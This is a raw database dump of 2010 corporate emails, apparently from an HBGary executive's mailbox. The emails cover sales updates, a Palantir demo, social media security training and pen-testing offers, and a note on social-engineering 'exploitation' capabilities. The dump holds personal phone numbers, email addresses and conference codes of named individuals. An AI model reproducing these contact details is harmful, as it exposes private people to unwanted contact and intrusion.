started.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me get some feedback on your last email Aaron from Mark\r\nand Ted when they get back from a gig in New Mexico and then we can set up a\r\nfew hours to start getting things set up.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 24, 2010, at 4:52 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSpace\r\nis going to be tight this year at GovCon6.&nbsp; I wanted to sync up with you\r\nabout what you&#8217;ll be showing this year.&nbsp; Are you and Aaron still working\r\non the Fingerprinting data integration with Palantir Object Explorer?&nbsp; If\r\nso, I think this would be a killer demo to show off.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet\r\nme know,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6124,'aaron_hbgary_com/6124.html'),(10926,'2010-08-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008391.M985497P14101Q5781.eml','\"Aaron Barr\" <aaron@hbgary.com>','Hold off calling Tiffany','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you haven&#8217;t already\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15018,'aaron_hbgary_com/15018.html'),(10927,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008392.M191741P14101Q5782.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Hold off calling Tiffany','Ok.Sent from my iPadOn Aug 26, 2010, at 11:45 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nIf you haven’t already\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5507,'aaron_hbgary_com/5507.html'),(10928,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008392.M388052P14101Q5783.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Hold off calling Tiffany','I sent an email but haven&#39;t called yet.AaronSent from my iPhoneOn Aug 26, 2010, at 11:45 AM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nIf you haven’t already\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15636,'aaron_hbgary_com/15636.html'),(10929,'2010-08-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008392.M579030P14101Q5784.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,','Bank of the West status','PennyTed ran an End Games report for Bank of the West showing malware that they did NOT know of.  John said this was huge and will raise awareness.  He presents to the CISO next week and to the new CSIRT team which includes HR and other departments.\r\nThe next step for John is to sell an Active Defense Health Check which he is hoping will occur sooner than later (following this meeting) and that will help him to justify an Active Defense purchase for next year if not a smaller deployment this year.\r\nMy next step is to call John week of September 7th.In the meantime John expects that the bank will want to purchase the End Games service.  He is also interested in the Social Awareness training.  He said that HBGary keeps coming out with great stuff and really appreciates the FGET and free tools that HBGary provides.\r\nFrom a sales perspective all of this adds up to a legitimacy that we are the leaders in this field with a comprehensive product line and services.  Ultimately this will make it much easier for John to justify an Active Defense purchase.\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',11502,'aaron_hbgary_com/11502.html'),(10930,'2010-08-26','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008392.M773643P14101Q5785.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"jwootton@palantir.com\" <jwootton@palantir.com>,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"msteckman@palantir.com\" <msteckman@palantir.com>,\"Paul Meaney\" <paul.meaney@ngc.com>,\"rob.wilson@telos.com\" <rob.wilson@telos.com>,\"robert.sanderson@telos.com\" <robert.sanderson@telos.com>,\"Suzanne.Petrie@TASC.COM\" <Suzanne.Petrie@TASC.COM>,\"ted@hbgary.com\" <ted@hbgary.com>,\"tom.leahy@telos.com\" <tom.leahy@telos.com>,\"tom.ryder@telos.com\" <tom.ryder@telos.com>,\"William Luti\" <wluti@digitalmanagement.com>,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Andrew Fehretdinov\" <afehretdinov@digitalmanagement.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"jwootton@palantir.com\" <jwootton@palantir.com>','TSA-ITSSS Daily Team Call 8:30am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Occurs every weekday effective 8/6/2010 until 9/3/2010 from 8:30 AM to 8:45 AM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 605-475-4850 code 1066743#; DMI Bethesda\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',11456,'aaron_hbgary_com/11456.html'),(10931,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008393.M315587P14101Q5787.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>,\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Social Media Security Awareness Training for DigitalGlobe','Hi Daniel,\r\n\r\nJust checking with you on social media training.  This training is a newer offering for us and we have been considering different ways to make the training most beneficial to customers.  Here is an idea I would like to get your feedback on.\r\n\r\nOne price for the training of X people in X locations with 2 follow-on training courses over the next 12 months for new employees with part of the pricing.  Also bundled is an tailored social media report before and after the training that gives you some statistics on your organizations level of information exposure.  (Included in the bundle is some initial social media pen testing to see what type of information we can glean from employees over social media that will be included in the reports.\r\n\r\nOur reasoning for this bundling is probably obvious.\r\n1. We get a larger bundled price while you get more extensive and tailored training.\r\n2. The Report gives you some tangible indicators of benefit from the training.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 24, 2010, at 8:20 AM, Daniel Collender wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Would 9:00 AM Mountain time work for you?\r\n> \r\n> I can call you if you can forward your number.\r\n> \r\n> Best,\r\n> Dan\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 24, 2010 4:37 AM\r\n> To: Daniel Collender\r\n> Cc: Ted Vera\r\n> Subject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n> \r\n> Hi Daniel,\r\n> \r\n> Would you still like to talk this morning?  I am flexible.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Aug 23, 2010, at 10:35 AM, Daniel Collender\r\n>  wrote:\r\n> \r\n>> Hi Ted,\r\n>> \r\n>> Do you and  Aaron have any availability tomorrow (Tuesday) morning?\r\n>> \r\n>> I am anxious to move forward with some type of general user training\r\n>> asap.\r\n>> \r\n>> Best,\r\n>> Dan\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Saturday, August 21, 2010 2:00 PM\r\n>> To: Daniel Collender\r\n>> Cc: Barr Aaron\r\n>> Subject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n>> \r\n>> Hello Dan,\r\n>> \r\n>> Aaron Barr (cc\'d) and I are excited to discuss your training needs\r\n>> early next week. We can definitely tailor the course material to suite\r\n>> your vision below. Aaron is TS/SCI cleared and has presented a similar\r\n>> 2hr talk at NSA. When is a good time for the three of us to get on a\r\n>> conference call to discuss?\r\n>> \r\n>> Regards,\r\n>> Ted Vera\r\n>> 719-237-8623\r\n>> \r\n>> On Aug 21, 2010, at 12:14 PM, Daniel Collender\r\n>>  wrote:\r\n>> \r\n>>> Hi Ted,\r\n>>> \r\n>>> \r\n>>> \r\n>>> Brian Coulson briefed me on the many HB Gary training/awareness\r\n>> options available to organizations like DigitalGlobe a few weeks back.\r\n>>> \r\n>>> \r\n>>> \r\n>>> Brian is working closely with Maria on the technology solutions\r\n> front,\r\n>> so I was hoping I could work with you on the training/awareness front.\r\n>>> \r\n>>> \r\n>>> \r\n>>> DigitalGlobe is currently developing security awareness training for\r\n>> all company personnel. We do of course have mandatory security\r\n> training\r\n>> for our cleared personnel, but need to begin  bringing the uncleared\r\n>> folks up to speed as well.\r\n>>> \r\n>>> \r\n>>> \r\n>>> I would like to organize a series of  mandatory \"Security Awareness\"\r\n>> briefings for all company personnel (about 600 people currently, the\r\n>> majority of which are in two facilities in Longmont, CO). The initial\r\n>> session would focus on Social Media Threats ( with some emphasis on\r\n>> Phishing/Spear Phishing/Spam). It is critical that we use this\r\n> training\r\n>> opportunity to convey the seriousness of the threat to our staff and I\r\n>> would appreciate some help from your team to ensure are accomplish\r\n> that\r\n>> goal. I would like to go as far as using a real world example (perhaps\r\n>> myself or someone from my team) to demonstrate how recognizance can be\r\n>> performed by a bad actor against a DigitalGlobe employee and the\r\n>> information gathered can be used to infiltrate the company through\r\n>> social engineering, spear phishing, etc.... Also, we are working on\r\n>> developing policy in this area so we could integrate the new policy\r\n> into\r\n>> the sessions.\r\n>>> \r\n>>> \r\n>>> \r\n>>> My original thought was to have a series of one or two hour sessions\r\n>> (is that enough time?) divided into Class and Unclass. This way we can\r\n>> introduce classified content, if available, into the classified only\r\n>> sessions.\r\n>>> \r\n>>> \r\n>>> \r\n>>> I am also interested in the full-day training and executive\r\n> briefings,\r\n>> but the urgent need is to get the entire DigitalGlobe user population\r\n>> trained on how they can protect the company and themselves from these\r\n>> types of threats.\r\n>>> \r\n>>> \r\n>>> \r\n>>> Would you have sometime early next week to discuss possible options?\r\n>>> \r\n>>> \r\n>>> \r\n>>> Thanks so much for your time.\r\n>>> \r\n>>> \r\n>>> \r\n>>> Best,\r\n>>> \r\n>>> Dan Collender\r\n>>> \r\n>>> Manager, IT Security & Compliance\r\n\r\n',713,'aaron_hbgary_com/713.html'),(10932,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008393.M593888P14101Q5788.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Mandiant getting in to the social media space','http://www.msisac.org/webcast/2010-09/index.cfm\r\n\r\nAaron',7652,'aaron_hbgary_com/7652.html'),(10933,'2010-08-26','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008393.M69344P14101Q5786.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Neal has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Neal are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Neal Keating \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Senior Cyber Intelligence Engineer at SRA International, Inc\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Neal\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          tpp121@gwu.edu\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Neal\'s Connections (131) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Eric Ozanam\r\n                ,\r\n                  Systems Security Engineer at Northrop Grumman IT\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Lenny Zeltser\r\n                ,\r\n                  Helping clients protect information and manage IT risks\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Kate Gagnon\r\n                ,\r\n                  Information Security Officer at The World Bank\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Scott Mendenhall\r\n                ,\r\n                  Senior Technical Architect at Ironworks Consulting\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Neal\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     SRA International\r\n                    \r\n                      Neal works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Nortel Government Solutions\r\n                    \r\n                      Neal worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Booz Allen Hamilton\r\n                    \r\n                      Neal worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     TWM Associates, Inc.\r\n                    \r\n                      Neal worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',9532,'aaron_hbgary_com/9532.html'),(10934,'2010-08-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008393.M863380P14101Q5789.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Candid Feedback','FYI ------------ Forwarded message ----------From: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nDate: Thu, Aug 26, 2010 at 11:42 AMSubject: RE: Candid FeedbackTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, August 26, 2010 1:40 PM\r\nTo: Jerry McClure\r\nSubject: Candid Feedback\r\n\r\n\r\n\r\n \r\n\r\nI received some candid and unsolicited feedback from the\r\ncustomer (Jim) regarding the Oracle vulnerability assessment.  I tried to\r\ncapture his words as closely as they were stated:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&quot;He was a nice guy.  He was more\r\n&quot;functional&quot; than technical.  He was oversold.  He was\r\nsupposed to know Oracle iSupplier inside and out.  He gave us a list of\r\nbest practices that were outdated.  He didn&#39;t know how to actually\r\nimplement recommendations in Oracle (ie - the actual commands / syntax,\r\netc.&quot;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI thought you should know.\r\n\r\n-- \r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',10069,'aaron_hbgary_com/10069.html'),(10935,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008398.M933449P14101Q5790.eml','\"Zosh\" <mydocs@zosh.com>','EWSG','\r\n',13500,'aaron_hbgary_com/13500.html'),(10936,'2010-08-26','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008399.M260013P14101Q5791.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Thu, Aug 26, \'10 at 5:56 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    EWSG.HBGARY_0.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6710,'aaron_hbgary_com/6710.html'),(10937,'2010-08-26','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297008399.M496053P14101Q5792.eml','aaron@hbgary.com','Re: Social media datasheet','\r\nAaron,\r\nMajor Verrel canceled the the red team training in September because a few new missions popped up. We\'re still planning to do the training but she hasn\'t set another date yet. She says sometime in November but I\'ll keep you posted well ahead of time. I apologize if this messes up you schedule. \r\n\r\nV/R\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: aaron@hbgary.com\r\nDate: Thursday, July 29, 2010 11:08 am\r\nSubject: Social media datasheet\r\nTo: \"stephen.w.turner@us.army.mil\" \r\n\r\n\r\n> What\'s not in here but inferred is our IO capabilities in this \r\n> space and how we can tie social media to more effective \r\n> exploitation, also improve social engineering.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> \r\n> \r\n> Sent from my iPad\r\n',1507,'aaron_hbgary_com/1507.html'),(10938,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008399.M694780P14101Q5793.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Social media datasheet','No problem.  \r\n\r\nSo you are aware we have started to modify some of our offering around social media training based on some customer feedback.\r\n\r\nFor those organizations that are interested we are conducting social media pen testing prior to the training and wrapping some of the information learned into the training.  We are also generating reports before and after the training to try and quantify the effectiveness of the training.  This is all new but I think its the right direction.  So far we are getting very positive feedback that this is a much needed course.\r\n\r\nAaron\r\n\r\nOn Aug 26, 2010, at 2:12 PM, Turner, Stephen W CPT MIL USA USINSCOM wrote:\r\n\r\n> \r\n> Aaron,\r\n> Major Verrel canceled the the red team training in September because a few new missions popped up. We\'re still planning to do the training but she hasn\'t set another date yet. She says sometime in November but I\'ll keep you posted well ahead of time. I apologize if this messes up you schedule. \r\n> \r\n> V/R\r\n> \r\n> CPT Stephen W. Turner\r\n> DSN 703-428-4514\r\n> \r\n> ----- Original Message -----\r\n> From: aaron@hbgary.com\r\n> Date: Thursday, July 29, 2010 11:08 am\r\n> Subject: Social media datasheet\r\n> To: \"stephen.w.turner@us.army.mil\" \r\n> \r\n> \r\n>> What\'s not in here but inferred is our IO capabilities in this \r\n>> space and how we can tie social media to more effective \r\n>> exploitation, also improve social engineering.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Sent from my iPad\r\n\r\n',11815,'aaron_hbgary_com/11815.html'),(10939,'2010-08-26','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008399.M901042P14101Q5794.eml','\"Aaron Barr\" <aaron@hbgary.com>','Treasury TIRC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, another interesting\r\nRFI. Mary Sullivan sent it to me. Bill\r\n\r\n&nbsp;\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0bbf8cca8794bb86bb5086801eec37b3&amp;tab=core&amp;_cview=0\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6818,'aaron_hbgary_com/6818.html'),(10940,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008400.M175038P14101Q5795.eml','federal@hbgary.com','COMM / Excursion Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Excursion effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; 